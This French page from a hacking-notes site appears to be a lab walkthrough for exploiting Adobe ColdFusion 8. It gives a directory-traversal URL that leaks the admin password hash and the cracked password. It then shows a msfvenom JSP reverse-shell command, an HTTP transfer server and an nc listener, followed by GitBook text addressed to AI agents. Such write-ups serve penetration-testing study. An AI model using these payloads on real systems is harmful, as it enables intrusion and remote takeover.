> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/adobe-coldfusion-8-cms-exploitation.md).
# Adobe ColdFusion 8
Nous trouvons un service d’administration Adobe ColdFusion exposé sur le port 8500 qui nécessite un nom d’utilisateur et un mot de passe.
Recherche avec `searchsploit` révèle un script d’exploitation pour une vulnérabilité de traversée de répertoires.
`searchsploit -x multiple/remote/14641.py`
Le script révèle une vulnérabilité LFI qui peut lire le fichier contenant le mot de passe :
`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
Le fichier contient la valeur de mot de passe suivante :
`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`
### Cassage de mot de passe
{% embed url="" %}
En utilisant CrackStation, nous cassons le hachage et récupérons le mot de passe `happyday`. Nous pouvons maintenant nous connecter avec succès.
### Création d’une tâche planifiée malveillante
Dans la section des tâches planifiées, créez une nouvelle tâche qui écrit un fichier malveillant dans `C:/ColdFusion8/wwwroot/CFIDE`, où l’application dispose des permissions de lecture/écriture.
**Création du fichier JSP :** Comme le serveur peut exécuter des fichiers JSP, générez un shell inversé JSP avec `msfvenom`:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```
**Ajout d’une nouvelle tâche :** Configurez la tâche planifiée pour exécuter le fichier malveillant.
**Serveur HTTP pour le transfert de fichiers :** Démarrez un serveur HTTP sur la machine de l’attaquant pour transférer le fichier JSP :
```bash
python3 -m http.server 80
```
**Configuration de l’écouteur et exécution du shell :** Démarrez un écouteur sur le port 443 pour recevoir le shell inversé, puis déclenchez la tâche planifiée depuis `/CFIDE/`:
```bash
rlwrap nc -nvlp 443
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/cms/adobe-coldfusion-8-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.